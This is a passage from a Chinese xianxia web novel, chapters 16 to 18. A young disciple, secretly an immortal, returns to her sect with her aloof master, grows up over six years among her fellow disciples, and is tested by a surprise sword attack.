女子顿觉尴尬后悔,竟险些无意做了拆人家庭的举动,她连忙颇具歉意地摸了摸青容的头:“伤还疼不疼啊?用不用再给你换个药?”
青容回头粲然一笑:“不疼的,谢谢姐姐的药,我感觉已经好多了。”
女子也忍不住回笑,无意间看到慕砚恒正着垂眸,手指轻触女孩身上的绷带,大概是在心疼,显然对眼前的孩子极其上心。既然已有妻女,为了避嫌,她也不敢再留人:“那我便拿些药来给公子带着吧,胳膊上的伤得勤换药,否则会留疤的,你女儿这么漂亮可千万不能留疤。”
这窒息的称呼让慕砚恒眼角抽了抽,还算是保持了温润有礼:“……多谢。”
宫宴结束,本该就此返回门派,既然已经无事那本就不该在这里待太久,就这样,两人简单的收拾了一下,便打算辞行。
趁慕砚恒在换衣服,青容抓住机会,独自寻到了正在给他们装药瓶的女子:“姐姐!我来告诉你一些秘密!”
女子微笑,蹲了下来:“什么秘密呀?”
“你以后若是遇到难处,上崖后可一直往东走,那里有一处仙山,传闻修仙之人就在那里,或者你直接去皇宫!你就说是阿容让你去的!”
这种乍一听便是小孩子胡言,女子笑笑也没当回事,但依旧答应下来:“好啊,你真是个好孩子,姐姐记住了。”
慕砚恒换好了衣服,身影缓缓出现,青容不敢再多言,立刻接过包裹,乖乖挪到了慕砚恒身边。
客套几句后,两人便彻底辞行,隐世的木屋越来越远,慕砚恒将剑召唤回了自己手中,显然准备直接御剑回山。
而这时,青容最担心的事终究来了。
“你又喊我什么?”慕砚恒幽幽道。
青容一咯噔,心虚到恨不得原地遁走,她强颜欢笑:“徒儿刚刚……梦游到门口,醒了的时候一时没反应过来。”
话本所说,凡女子多情,她那会觉得此情此景要让人断绝念想还不能太过苛刻,令慕砚恒凭空当爹是最好的方式,简约又朴实无华,就是事后有那么一点麻烦。
于是她搬出了亲情套。
“我梦到了爹娘,我生病的时候他们总是陪着我,我睁眼看到的第一个人就是爹或者娘,所以刚刚醒来的时候有些恍惚,对不起冒犯到了师父。”
由于低着头,青容没有看到慕砚恒暗沉的面色,还有眸中一闪而过的冷戾。
“回去抄卷宗。”他道。
这是放过一马的意思了,青容登时舒了口气,下一刻便被慕砚恒拽上剑,“嗖”的腾空而起。
慕砚恒抓的是她的手臂,正好处在伤口位置,青容一个瑟缩:“嘶,疼。”
慕砚恒略微一顿,松开了手,转身专心御剑去了。青容躲在他身后,风被挡了大半,但是衣角总是拂到她身上,烦得很。
好在慕砚恒法术高超,御剑很快,两人很快便从京城到了临霜教山头。彼时正是晨练刚结束的时段,一帮弟子正打着哈欠慢悠悠回自己的居所,结果也不知谁喊了一声“快看天上”,所有人的目光都被吸引了过去。
冲出火海之后,青容早就灰头土脸一团糟,慕砚恒倒没怎么被火燎到,那玄色的衣服也不显脏,就一直没脱下来,青容的衣服是女医临时给她改的,浅绿色,于是从弟子们看来,就是一把剑从上方快速窜过,载着一大一小一黑一绿两个身影。
“护教!”有人认了出来。
青容当然也听到了动静:“师父,我能不能先下去和师兄打个招呼。”
这来回折腾好几天,她得找师兄们诉诉苦。
“可以,但稍后你要随我去正殿拜见你两个师叔。”
半月来掌教司教都忙得很,但近期事务已经逐渐处理完,也该带去见见了。
青容点点头。
说着可以,但他也不减速,跟下雨天急着回去收稻子一样,不过术法傍身这也没什么,青容直接翻了下去,稳稳落地。
然后弟子一窝蜂都围了上来,以欧阳晔为首,陆怀夕不在,龚柏清因为要保持稳重形象没和人一起挤,但他过来时,弟子们还是自觉让开了一条缝。
“下山的感觉怎么样?”欧阳晔满脸羡慕,剑被他夹在腋窝下晃悠,“自从拜师,我还没怎么下过山呢,跟着护教就这点好,每年都能去京城。”
青容叹了口气:“其实也一般,没什么时间玩的,就逛了一小会,呐,我买了点花糕。”
她对着乾坤囊一阵折腾,终于折腾出了几块油纸包着的糕点:“师父看得紧,我买不了太多,只有一点了。”
“够了够了!”欧阳晔眼睛直放光,拿过来就毫不客气啃了一口,像是被迫斋戒十年的人陡然看到荤腥。
龚柏清看不下去,用剑柄对着他的肩膀敲了一下:“一天天净想着吃,先让师妹去休息,御剑一路定然疲惫。”
青容噘噘嘴:“其实也不累,就是琐事多,头疼的慌。”
接着她就将她的所见所闻讲给了围观的众弟子听,跟说书似的,绘声绘色,龚柏清本来觉得私自议论皇家事不妥,但一想到修仙门派不受皇室牵制,议论也就议论了吧,反正都是说着玩,小师妹说的畅快也好。
和护教那样的人单独出行,想必是无聊坏了。
毕竟青容自动忽略了纵火坠崖的一段。
“你受伤了?”
龚柏清突然注意到青容手腕上缠着东西。
凡间仙门不比真正的仙界,做不到一挥手就能愈合伤口,还是得慢慢养,青容瞥了眼自己的手腕,撂起袖口:“啊,无妨的,磕碰了一下,已经上过药了。”
欧阳晔愣了愣:“可是……在宫内怎么会磕到缠这么一大圈绷带啊?师妹你不会是被人打了吧?”
“……”被人一路追到坠崖,青容心想好像也差不多,然而这样就显得慕砚恒对她非常不管不顾,她当即否定,“怎么可能呢,有师父在,谁来打我啊?”
“也是哦
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。”欧阳晔吧唧嘴,“像我和大师兄,都是散养的,师父都不带我们下山。”
“你好歹还有正经师父呢!我们都是长老来教,这才是真的散养好不好!”其他弟子登时哭嚎。
叽叽喳喳乱成一团,倒是一片吵闹的和睦,青容被他们围在中间,不自觉笑了笑。
凡间其实也不错的,她想。
这种日子比闷头苦修有意思多了。
她本来也不是把自己困在方寸之地死命修炼的人,只可惜,想要在仙界受到尊敬,要么要有修为,要么要有身世,而她两个都没有,所以只能四处打杂换灵石,和凡间打零工差不多。
仙界有自己的管理体系,凡人也有自己的运转规矩,各司其职,没什么不同的,只是一个在云上一个在云下,她在仙界拼命修炼,也不过是想讨个更好的职位,让自己的生活更顺利些。
起码不至于……任人随意欺负了去。
弟子们囔囔半晌,又莫名其妙把话题扯回了皇宫,不知是谁说了一句:“我前几年听说,昌帝很在意皇家和仙门之间的关系,就想着和仙门之首的临霜教联姻,只是那会他的女儿们年纪都太小,现在应该有十三四了,可能再过两年,我们这就要出驸马了!”
“那可千万别选到我,我还想努力修炼锄强扶弱呢,谁愿意倒插门啊!”
“谁选你啊你又不好看,人公主肯定喜欢好看又出类拔萃的,两位亲传师兄可得小心点。”
“哎?一定是驸马?不能是王妃吗?”
欧阳晔在聊到联姻后本来脸就黑,现在脸更黑了:“我呸,我们这女弟子本就稀少,哪有再送一个去当王妃的道理?要我说就不该联姻,把我们仙门弟子当礼物啊想送就送?师妹你说对不对!”
青容不知何时已经许久没吭声,陡然被点名,大家的目光都转向了她,青容尴尬地点点头:“嗯……对的……”
她头一回觉得知道后续故事走向也是个麻烦事,比如她得忍着不泼冷水,告诉这群年轻意气的少年郎联姻并不是那么简单的事。
不知道未来她被迫当了皇后,欧阳晔会不会气急败坏用剑戳她。
“吵什么呢?”
突然一道中气十足的声音贯穿了所有嘈杂,弟子们立刻噤声,收了所有嬉皮笑脸:“掌教!”
来人正是临霜掌教陵渊。
陵渊板着脸,一副随时用戒尺抽人的苛刻模样,但随即他看到了青容,面色缓和些许:“哦,你在这啊,先回栖星阁吧,你师父似乎在等你。”
“是,掌教。”
但青容毕竟修炼不久,还不太会稳稳当当独自御剑,她甚至暂时没有属于自己的剑,平常都是用木剑凑合练,她年纪小,这倒也正常,慕砚恒估计也是怕她一个不小心给自己戳个窟窿。
她正发愁要不要走回去算了,结果一转头就看到一把通体雪白的剑悬在她身侧,华光内敛,凌冽冻人。
“这是你师父的昆吾剑。”陵渊解释道,“你直接踩上去就好,它会送你回去的,绝不会掉下来。”
“……”
被动御剑的一路上,青容都没有想明白。
慕砚恒到底是什么样的人。
说他温和,那是不会有人信的,她也不信,可说他冷漠,似乎有些时候,他又能提醒她,他还是在意自己唯一的徒弟的。
嗯……也可能只是不在意剑吧,她想。
16. 十三岁那年
昆吾剑载着青容平稳落地。
慕砚恒就在阁楼前负手而立,玄色锦裘换回了仙门的白衣长袍,又成了翩翩谪仙不食人间烟火的模样,像是已百般无聊等了她许久,见她到来,只淡淡道:“换个衣服,去穹川殿。”
青容也不耽搁,跑到自己房间就去拿弟子服,只是脱外套的时候,伤口因动作被绷带来回摩擦,生疼生疼的,她只得放缓动作,更小心翼翼些。
就在这时,慕砚恒走了进来。
他没有敲门,走路更是悄无声息,青容被突然出现的身影吓了一跳:“那个……师父下次进徒儿房间之前,可以敲个门吗?徒儿胆子比较小。”
平常慕砚恒很少来寻她,以至于青容到现在才发现这人进房间不敲门,刚刚但凡她换衣动作麻利点,那她可能就没现在这么平静了。
只是这话由一个七岁的小孩对自己的师父说,总显得有些不识抬举,慕砚恒微微一顿,语调冷冰冰的:“知道了,年纪不大,事情不少。”
“……”青容无声哼哼两下,权当没听见。
他接着走近,将一个瓷瓶放在了旁侧的桌上,然后定住,完全是不打算离开的样子,青容疑惑地看他一眼,得到了一句极其淡然的回答。
“脱衣服,给你换药。”
青容:“……”
空气一时僵住了。
青容不知道自己的神情具体是怎样的,但肯定不太好看。
因为慕砚恒皱了眉,一副莫名其妙的模样:“怎么?”
青容坐在蒲团上,小小一个人缩成一团,眼巴巴盯着慕砚恒,眼神又是警惕又是疑虑:“谢谢师父,我自己换药就可以了,或者让陆师姐来。”
这慕砚恒到底是没素质还是一根筋?小女孩就不是女生吗?为人师者就能这么大大方方指挥人脱衣服?
“让她来,怎么?你怕为师害你?”慕砚恒大概有些不耐烦,半蹲下来,直接擒住了她的胳膊,“麻烦……”
这人力气大的很,青容挣扎不动,急得快要喊鎏虹。
“别动了,这么不愿意上药,你想留疤?”
胳膊上突然传来一阵清凉。
她从要不要恢复法力把慕砚恒拍飞的纠结中回过神,这才注意到慕砚恒只是掀开了她的衣袖,露出胳膊上的伤痕,食指有一搭没一搭敲着瓶口,让药粉均匀的布上,盖住有些狰狞的伤痕。
青容不挣扎了,安安静静不吭声。
其实是疼的,起初的凉意过后,便有了火辣辣的刺痛。这毕竟是灼伤,稍不注意便会留疤,只是她自己不怎么在乎,反正回到仙界后施个法就能把疤痕除掉。
她只是没想到,慕砚恒会记着。
可能对于她奋不顾身的相救,慕砚恒到底还是有所动容吧。
“最近不用去晨练了,等去过穹川殿,就在房间好好待着,可以打坐可以休息,但不能练剑,否则伤痛复发,为师不会再管你。”
药涂抹完,慕砚恒收回手,语气依旧冷冰冰的,似乎只有把这句话的每一个字细细挖掘一下,才能艰难寻出几分关心的意味。
青容敷衍点点头:“谨遵师父教诲。”
“换衣服吧,还有,为师没关心你。”慕砚恒转身离去,飘来一句话,“只是担心影响你根骨,回头仙门大比落败,给为师丢人。”
可是,伤疤和根骨有什么关系?骨头长疤上了?
青容不解,却也没多问,片刻后换好衣衫推门而出,安静地站定在慕砚恒身侧。
他依旧负手而立,一袭白衣胜雪,纤尘不染。那双深邃的眼眸如同精心雕琢的墨玉,虽好看得惊心动魄,却映不出半分人间烟火。
他召唤出昆吾剑,轻飘飘踏上去,再对青容伸出手,一切都自然而然,或许连他自己也觉得这很正常,因为这是他需要照顾的徒弟。
青容的目光落在那只伸向自己的手上,又缓缓抬起,掠过他清冷无波的侧脸轮廓。
好像也不是完全没人情味,她想。
…
片刻后,穹川正殿。
“拜见掌教,司教。”
穹川殿并不算多么富丽堂皇,但很空旷大气,白玉砖砌将正殿显得格外明净,临霜教三位尊者就坐在数层台阶上的玉椅上,陵渊居中,师语楼居左,慕砚恒在右。
她曾听二师兄说过,正常拜师都会有一个大典,但她到底是走后门进来的,搞得太隆重难免惹人不满,因此只能草草揭过,给慕砚恒端茶,见见长辈说点勉励自我的话就当完成了。
陵渊看着严厉,实则蛮好相处,师语楼更是给人一种温柔大姐姐的感觉,对她格外轻声细语,相比之下,从头到尾板着脸的慕砚恒是最碍眼的那个。
“没有拜师大典,确实委屈你了。”师语楼充满同情地看着她,“况且护教这个情况,你会被许多人盯着,之后的仙门大比也会有很大压力,哎,真是可怜的孩子,我这还有些助于修行的丹药,回头让怀夕给你拿些。”
这么好?她刚准备道谢,上方却传来一道冷冽的声音:“暂时不行,她根基还没打好,不能借助丹药,以免修为不实。”
“……”青容愤恨抬头,恨不得把慕砚恒一脚踹出穹川殿。
师语楼一顿,居然真的有所思虑:“说得有理,要不我先放你这?等他根基打稳了你再给她?”
慕砚恒这才“嗯”了一声,甚至道了谢。
青容:“……”
年纪小,连别人送的东西都得被接管!
“可是师父。”她作出一副可怜模样,“还有两年就要仙门大比了,师兄师姐们都比我年纪大,入门还早两年,我怕打不过他们,给师父丢人。”
慕砚恒居高临下看着她,没有说话。
倒是师语楼“咦”了一声:“你不是才七岁吗?怎的要参加下一届仙门大比?”
青容一愣:“啊?师父是这么说的啊。”
穹川殿一时陷入寂静,慕砚恒面色不变,只是在陵渊和师语楼同时看过来的时候,他直接一个起身:“栖星阁还有要事,我要先回去了。”
接着直接御剑而去,好像十万火急似的。
青容:“?”
她这一番卖惨是直接把慕砚恒给吓走了?
“师弟诓你的吧。”陵渊挑眉,青容回过神,便听他笑着解释,“为了保护根骨,仙门大比的年龄限制是十岁
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,无一例外,你年纪不够,是不用参加下一届大比的,你师父逗你玩呢。”
“……”
她实在无法想象“逗你玩”这个词会安在慕砚恒身上,有些许惊悚。
此番拜访本来也没什么要事,又被两位尊者来回问候几番后,青容得以被放回栖星阁。如今确定下一届仙门大比她是不用参加了,然而修习并不能停,她翻找出慕砚恒给她的心法图册,一刻也不打算耽误。
毕竟逃得过下一届,逃不过下下一届,就算下下一届也能逃,那也逃不掉她二师兄热切的插旗!
青容捧着书,陷入深深的抑郁。
…
七岁这年,青容被迫拜师,万事开头难,幸好师父还算强大,虽然经常被气个半死,但总算修行步入正轨,利大于弊。
八岁那年,青容顺利筑基,开始御剑,然后一头撞在山上,额头肿了半个月。慕砚恒给她扔药瓶的时候,神色严肃认真,好像看见了什么不得了的大事,青容严重怀疑这人想嘲笑他,但要保持高冷人设只能憋着,遂心中愤愤,把慕砚恒的茶叶拿去煮茶叶蛋以示报复,并嫁祸给正大光明嘲笑她的欧阳晔,后者顺利被罚半个月不许找人切磋。
九岁那年,青容作为观众去仙门大比凑了热闹,看到了台上意气风发的师兄师姐们持剑时俊逸的身姿,也醒悟了平常温文儒雅的大师兄打起架来原来这么凶猛,只可惜二师兄以一步之差冲击高阶弟子失败,把自己关起来半个多月没见人,后来他们实在担心,选择法术强行破门,发现失意的少年正抱着剑睡大觉,呼噜挺响。
十岁那年,她再一次跟着慕砚恒去了皇宫,自然也见到了贺景麟,她的插手应该还是有效的,小皇子身上没了伤痕,精神瞧着也好了许多,和她对视时还笑了两下,露出一对初见端倪的小虎牙。他长高了,只是身形依旧瘦弱,青容思索要不要再提一嘴增加伙食,被慕砚恒训斥适可而止,只得作罢,并偷偷给贺景麟塞了桂花糕。
十一岁那年,陆怀夕突然开始对药膳感兴趣,常常拉来她和两个师兄反复祸害,青容不堪其扰,遂举报给慕砚恒,慕砚恒冷淡点头,数日后,她的晚饭也增加了一道药膳,青容震怒,慕砚恒把药膳推得离她更近,美其名曰有助于修行。
十二岁那年,师兄师姐都已近乎成人,个头比她高了一大截,她忧郁的觉得自己有些格格不入,尤其是欧阳晔不知从哪学来一手箫,吹的有模有样,还在她面前嘚瑟,说自己是什么翩翩君子,等学成了就出去招摇撞骗俘获姑娘芳心。青容一边翻白眼,一边暗戳戳暗示慕砚恒想学乐器,慕砚恒狐疑地瞥了她一眼,给她扔了把琴,简单教了些基础手法和简单谱子。
青容在阁楼中很努力的练了一晚上,次日发现慕砚恒不见了,怎么找都找不到,最后还是在穹川殿寻到的,彼时陵渊正时不时往慕砚恒那瞟,幸灾乐祸的颁布门派新规——夜间不得奏曲,尤其奏的难听的。
十三岁那年……
“哎?这是什么?”青容搁下笔,准备离开时,注意到了坐垫上多余的红色痕迹,一时有点懵。
慕砚恒顺着看过去,登时瞳孔微缩,手中书卷吧嗒一声掉在地上,难得凌乱。
17. 目标
青容并非真的懵懂孩童,当然知晓女子月事,哪怕仙界中人法力通天,这自然规律也是避免不了的。只是当了几年小孩,她陡然见此,思路一时滞涩,便脱口而出。
话音刚刚落下,她便立时反应了过来,顿觉尴尬。
月事是没什么要紧的,但这个是慕砚恒房间的坐垫,她刚刚……是被抓来默写心法口诀来着,能不能甩个锅?
可她看到慕砚恒微微蹙眉,满脸端庄严肃,“洁癖”两个字仿佛要印在脸上,甩锅的话略有些许卡壳,这么一犹豫,就定住了。
慕砚恒的确是好师父,能教的都教,无论是书法剑法内功还是乐器,只要她开口,慕砚恒都会相授,甭管有几分上心,他也做到了一个合格师父该做的所有。眨眼六年,演多了也就成了自然而然,她早就习惯把自己放置在徒弟的角度,所以第一反应是:坏了,要被训。
只不过,慕砚恒的反应有些出乎预料。
“你今年多大了?还有数月又是仙门大比……十三?”他很突兀的问出了这么一句话。
青容一愣:“是……吧?”
她对时间概念不大,毕竟在仙界动辄千百年,早习惯了一日复一日,她能准确感受到时光流逝,也就是看着师兄师姐逐渐成熟,她自己个头也窜了不少,之前额顶连慕砚恒的腰际都堪堪碰不着,现在……好吧,也没到胸口。
毕竟慕砚恒也在变化。
十六岁的少年本就身量颀长,如今六年过去,少年彻底成了青年,本来刚入门那会,她看慕砚恒和陵渊个头差不多,而几日前陵渊来访的时候,慕砚恒已经比他高了半个头。
他脸上线条轮廓更明晰了些,褪去了最后一点本就难以察觉的少年青涩,鸦羽般的睫毛盖住冻湖冰魄似的眼眸,深邃之余也更显冰冷。那是一种没有人情味的,仿佛拒人千里的漠然。
陆怀夕常说,她能这般靠近慕砚恒,是有很多人羡慕的。
她知道是什么意思,但只能装不懂,明知故问一句为什么。
陆怀夕也不避讳:“想和护教结道侣呗,护教名扬仙门,位高权重,且俊逸出尘,惊才绝艳,除了性子冷些,几乎要把所有优点凑一起了,这仙门谁不仰慕?而且他对你很好,甚至连想象空间都留了出来。”
谁不爱看冰山融化呢?这套路放在凡间话本中从来不会过时。
青容哭笑不得:“那羡慕我做什么,我是他徒弟,又不是别的什么。”
“我知道,那好歹也近距离生活过,我是不觉得护教会有什么道侣,所以当徒弟也蛮好,不过你现在年纪小,不懂这些的。”
……可惜她何止不懂,她可太懂了,以后罔顾伦常道德败坏的事还得她来干,青容暗自叹了口气。
所以现在问她年龄是为什么?是在考虑这个年纪怎么骂比较顾及孩子自尊吗?虽说慕砚恒也没怎么骂过她,但这张冷脸杵在这还是蛮让人胆战心惊。
只是不同于青容所以为的训斥,慕砚恒想的完全是另一码事。
“嗯……”他的视线在坐垫和青容之间来回飘忽,罕见踌躇,“本来想让你师姐同你说,但总是忘了交代,看来还是不该一直拖着。”
青容:“?”
她愣了两秒,忽然觉得有几分惊悚。
慕砚恒……不会是想和她解释月期吧?
这也太称职了,称职到他俩估计都接受不来。
“这个……我知道的。”青容咬牙切齿,字简直要从牙缝里蹦出来,“师姐和我提过。”
她看到慕砚恒似乎松了口气。
“也好。”他淡淡回复,似乎刚刚一瞬间难以察觉的窘迫只是青容的错觉,“坐垫不用管,换一个就行,房里有热茶,你可以自己倒。”
六年过去,慕砚恒的性子一如既往,待人总是风轻云淡,一副满不在乎的模样。只是性格这种东西,就好像少年人长个子,天天见着自然难以察觉出变化,但若是追寻个一年半载时光,便能惊讶地发现原来已经长高了这么多。
慕砚恒也是如此。
他在不知不觉间,对青容的态度已然柔和许多,门派宴席时总会带她一起,要学什么都会耐心的倾囊相授,甚至她和师兄师姐遇到些小矛盾,甭管起始因何,结果都是慕砚恒毫不讲理的偏袒。
无论是当真如此,还是装出来的,反正也比一开始要亲近许多。
鎏虹甚至偶尔会感叹:“你这还没做什么呢,他怎么就对你这么好了?这种高岭之花不应该很难攻略吗?”
青容也不理解:“呃,可能发现了养徒弟的乐趣吧,毕竟我在他那还是装的挺乖巧的,养死了多可惜。”
“……”
甭管怎样,如今也形势大好,她现在的任务就是让慕砚恒依旧封心锁爱,然后再等个几年,自己来开这个锁。
任务艰巨,但目前还算未来可期。
她自觉将染血的坐垫拿走,回房换了干净衣服,刚推开门,便见到个熟悉身影。
少年身着弟子服,右手提剑,左手拎着竹篮,一副远道而来风尘仆仆的模样,他马尾扎的很高,碎发微卷,将英俊的面容削弱了些锐利,平添更多潇洒不羁,只让人觉得那竹篮若换成酒,会与他的气质更为契合。
只可惜现在傻气更多些。
和她视线相撞,少年微微一愣,随即唇角上扬着递上竹篮,下颚微挑,颇有几分炫耀之意。
正是欧阳晔。
“厨房那新做了些茶点,我恰好瞧见了,给你带了些茉莉花饼,多放了糖的,尝尝。”
青容也不客气,将竹篮接过:“这么多?你不吃点?”
欧阳晔登时面露嫌弃:“这种甜甜的东西都是小孩子吃的,我都十九了,已经到了喝酒品茶的年纪,不吃这些。”
青容:“……二师兄果然成熟许多。”
欧阳晔从来没什么心眼,只觉得这话真是夸他的,立即喜笑颜开,可随后又开始忧郁:“是吧,我也觉得我成熟稳重许多,真不理解女弟子们为什么都喜欢大师兄,一天天围着他看来看去的,我明明比大师兄帅那么多,还会吹笛子,多才多艺。”
“……”
“你知道最可气的是什么,她们还说听闻首座师兄更好看!首座师兄我从入门以来就见过他几面,跟活在传闻里一样,怎么就平白无故夸起来了,真是
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的,不过还听闻首座师兄今年仙门大比会回来,我倒要看看他如今究竟什么模样,一天到晚未见其人先闻其声的。”
“……”
大概女生来月事时确实会比平常暴躁,青容现在很想把面前这个叽叽喳喳的人给搓成饼扔出去,可少年人个头窜的快,欧阳晔比她高了一个多头,估计扔不动,于是她放出绝招。
“师叔啊!”她装模作样喊道。
欧阳晔登时僵住,疯了似的往她房间里一挤,再急急忙忙把门关上,一副躲债的样子,咬牙切齿:“哎!我师父在你这你怎么没提前和我说?”
“什么都要给你通报啊,真是的。”青容哼哼两声,将花饼往嘴里一塞,含含糊糊道,“马上仙门大比了,师兄,可别后面四年,你的腰带颜色还是青色啊。”
欧阳晔面颊一红,整个人温度都高了一点:“你你你……哪壶不开提哪壶你,喂,你可别忘了今年的大比你也要参与,还想在旁边看戏啊?想得美吧你!”
提到仙门大比的事,青容也有点头疼,她这几年修炼算是勤勉,奈何临霜教从不缺乏勤勉的天才,上届大比又没收什么新弟子,她都逮不到新人欺负,回头对上的全是入门和修炼都比她早几年的老油子。
见青容沉默,欧阳晔又忍不住哄了几句:“你也别担心,临霜教成立这几百年间,十三岁能打到高阶弟子的目前也就大师兄一个人,而且他好早好早的时候就来门派了,你只要达到进阶弟子的水平,护教肯定不会说你。”
青容十分惆怅:“但是能打成高阶肯定还是高阶最好啊。”
慕砚恒年纪轻轻就成了临霜护教,说明他绝不是什么闲情逸致淡泊名利的人,她要是能打成高阶,不仅是为了她自己,顺道也能刷刷慕砚恒那边的好感。
可惜,她入门时间太晚,哪怕剑术可以用过往经验来作弊,但内力实在比不上那些修炼十几二十年的天才弟子们。
欧阳晔叹了口气,忽的面色严肃了不少:“无妨的,一步步来,我看你眼眶有黑眼圈了,最近又在熬夜修习?我都没你这么夸张,你干嘛啊这么拼?护教说你不拿第一给你逐出师门?”
青容欲言又止,最终缄口。
她也不知道自己为什么那么想拼。
好像在仙界的时候,她就一直这般,不是在修炼就是在去修炼的路上,但若需要个这般努力的理由,她又寻不出来。
就是莫名其妙的,没有目标的想变强,潜意识里觉得强大后生活会更好,可能她就是一个怪胎?
反正她向来不知自己何处生来,仙界有太多化形后失去记忆的妖,或者凡间而来被洗去记忆的飞升之人,她大概就是其中一员。
她一向懒得探究过往。
“没有啊,就是看师兄师姐们那么努力,尤其大师兄,和我同岁的时候也是高阶弟子了吧,你们都那么厉害,我可不想成为最菜的一个。”
青容耸耸肩,因肚子实在有些不舒服,便让欧阳晔先回去,答应他等过个几天恢复精力了,再和他切磋。
两人的身影消失在刚刚交流的地方,而在不远处也同时略过了一片白色的衣角,无人察觉。
18. 试探
说是数月,其实也快的很,青容那内里千岁的灵魂实在是支撑不起玩乐的兴趣,外加有个“护教徒弟”的头衔鞭笞,她这段时间几乎除了吃饭修炼睡觉切磋,就没其他事了,颇有些废寝忘食记不清岁月的味道。
直到陆怀夕兴冲冲来栖星阁寻她,疯狂晃她肩膀:“首席师兄回来了!你要不要去看看?”
青容被晃的有点晕:“什么手洗师兄?欧阳晔被炖了?”
“不是,是首席师兄,江溪闻,就我前几年和你说的那个。”
陆怀夕眼巴巴看着她,充满了好奇与期待。
“哦哦,那个啊……我知道我知道。”青容尬笑两声,因为她没想起来,又担心扫兴,只能随口应付两句。
然后她就被陆怀夕硬拉着下了山。
“所以,鎏虹,这是什么人?”
路上,青容尝试向鎏虹打听。
鎏虹的解释也很迅速:“江溪闻,临霜教首席弟子,八年前仙门大比,十七岁的江溪闻横空出世,一战成名,手持长刀把他的师兄师姐们劈得找不着北,一举拿下那年大比的断层第一,再一年后便被推举为首席弟子。”
青容似懂非懂点头:“挺厉害啊,但怎么一年到头见不到人呢?”
“首席弟子就是维护山下秩序的,平常很忙,算是……外交部?所以不怎么回门派。”
懂了,刷路人好感的,也算是兢兢业业,就是这么多年不回门派,得忙到什么地步,这不得加薪酬的?
反正换她她肯定不干。
这么想着,陆怀夕已经带她御剑到了目的地。还没落地,她便瞧见了地上围成一个圈的一大片弟子们,叽叽喳喳的往前挤,活像抢街头半价米的。
这架势青容还是头一遭见,哪怕是慕砚恒回门派也没这待遇,这首席师兄身上是镶金了?离得近能抠个金子下来买修炼秘籍?
虽然两人还御剑在天上,但已经有眼尖的弟子发现了两人的身影,哪怕被挤得伸不出胳膊,也还是颇为热情打了个招呼:“小师妹来啦!”
诚然,青容非常平易近人,但她毕竟和慕砚恒挂钩,刚刚相互挤来挤去的弟子们一抬眼看到她,虽算不上立刻变拘谨,但也顿时安静了不少。
以至于被围在中间许久的人总算透了口气,自人群中缓缓踱步而出,好巧不巧,便和身边有些空旷的青容眼神对接。
青容目光一动,心道怪不得这么多人都来围观。
他们这首席师兄确实有一番姿色。
长身玉立,温和清雅,像夜晚被月光勾勒的白柳。
只是他的温润和龚柏清不大一样,龚柏清是温润如玉,他身上则更多的是种一尘不染的风光霁月,和慕砚恒有点像,却比慕砚恒要柔和的多,给人一种看似遥远,但其实能接触到的错觉。
这不受喜欢就怪了。
青容本想着就来看看热闹,反正接待一事也轮不到她这十三岁小屁孩,但如今遇都遇上了,她也只能礼貌笑笑,对江溪闻行了个平辈礼:“首席师兄,久仰。”
她向来不会说客套话,免不了一板一眼的有些生硬。
倒是江溪闻像是做了些功课,只一眼便露出了然神色:“你是青容小师妹?”
青容刚刚应声,身后便窜出两个少年,瞬移似的闪到了江溪闻面前,也是恭恭敬敬行礼,江溪闻反应一样极快:“二位想必是龚柏清师弟和欧阳晔师弟,此番回来也是多有叨扰,辛苦二位引路。”
青容略微惊讶,心道不愧是外交弟子,当真有拜年时候对着所有亲戚喊出正确称呼的本事,好生厉害。
她十分佩服。
接待一事本就是龚柏清这个掌教弟子负责,龚柏清虽年轻,但办事向来沉稳,相比之下在她身边叽叽喳喳的欧阳晔浮躁得像个小孩。
引见并不费事,把人带到正殿,除龚柏清需要留殿外他们也就老老实实回去了,只是回去路上,在听到第七次“我和首席师兄谁更帅”的小声询问后,青容终于忍耐不住,用木剑戳他肩膀:“仙门大比你能打过他,你就是最帅的。”
欧阳晔登时泄气:“那算了,还是再等四年吧,首席师兄都二十五了,比我多修炼了好多年,弯道超车也得时间啊。”
“你进步,人家不进步啊?”陆怀夕毫不客气泼凉水,“你当首席师兄这个位置是吃素的?大师兄这几年都不可能够得着,你还是再沉淀十年吧。”
欧阳晔更蔫吧了,以至于后面一段时间,青容几乎没怎么见到他人,估计又把自己关起来勤加修炼去了,和青容差不多。
毕竟这是她参与的头一回仙门大比,青容还是相当重视,颇有些一头扎进去分不清黑天白夜的刻苦。外面的日月交替也确实迅速,她把自己关在里屋,若没有那一日三餐和晨练,估计都会有人怀疑她已经走火入魔撅在栖星阁了。
“你不练剑?”直到不远处轻飘飘的一句话,“看你修内力倒是修的勤快。”
彼时青容难得休憩,正坐在自己房间前的阶梯上发呆,一道身影在她身前遮住了略微有些刺眼的阳光,青容回过神来,随便寻了个借口:“剑法不适合临时抱佛脚,内力瓶颈比较好突破。”
“临时抱佛脚抱六年,挺能抱。”
“……”
慕砚恒这人,初看是标准的翩翩谪仙,清冷华贵,然而同居了六年,青容已经被迫瞧出此人简直是金玉其表败絮其中,内里黑的很。
“徒儿愚笨。”青容心里哼哼两声,面上倒做出一副委屈模样,“徒儿一练剑就手忙脚乱,只能在内力上下下功夫,弥补一些。”
她本源武器是鎏虹双剑,和一般双剑有所不同的是,她右手持长剑,左手持软剑,两者剑法完全不一,偏生她修得一手极致的一心二用,这种在整个仙界寻不到第二个人能使出来的武器,在人间自然也找不到。
她不想在门派标新立异,便想着只用普通长剑,然而那练习了上千年的剑术不是想装不会就能装出来的,所以她这六年在人前的练剑一直用的左手,才能有些初学者的习性。
只是练习左手剑术对她而言没什么意义,纯粹是应付人用,所以非晨练以外她根本不会拿剑,以至于
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给了慕砚恒一个印象——她不练剑,只内修。
这无疑是严重的偏科。
她托着腮抬头,目光空空仰视着慕砚恒,心里盘算一般话本剧情中这个时候,是不是就要亲手教授了?更何况这人还是她师父,总不能点个头了事,那她得怎么演才能演出手脚愚笨的样子?得寻个方法不露馅。
谁知,还没等她规划完,一道凛冽的剑意陡然从侧后方袭来,刹那之间竟是直逼命门,带着刻骨的森寒与狠厉。
没给任何反应时间,恰好在出神的青容心中一凛,根本没来得及多想,本能拿起恰好放在她右手边的木剑向后格挡,袭来的剑却在此时变了路线,成了侧方的一刺,青容也随之挽了个剑花,电光火石之间竟是已过数十招。
攻势一波接一波,没有停滞更没有减弱,因先手被压制,一直在势均力敌的情况下青容也很难找到反打的机会,只能先以防守姿态应对。对方节奏极快,分明只过了几个呼吸的瞬息,却让青容有些已僵持数个时辰的错觉。
直至一声脆响,手中木剑居然生生被打出裂痕,眼看着就要断成几截。
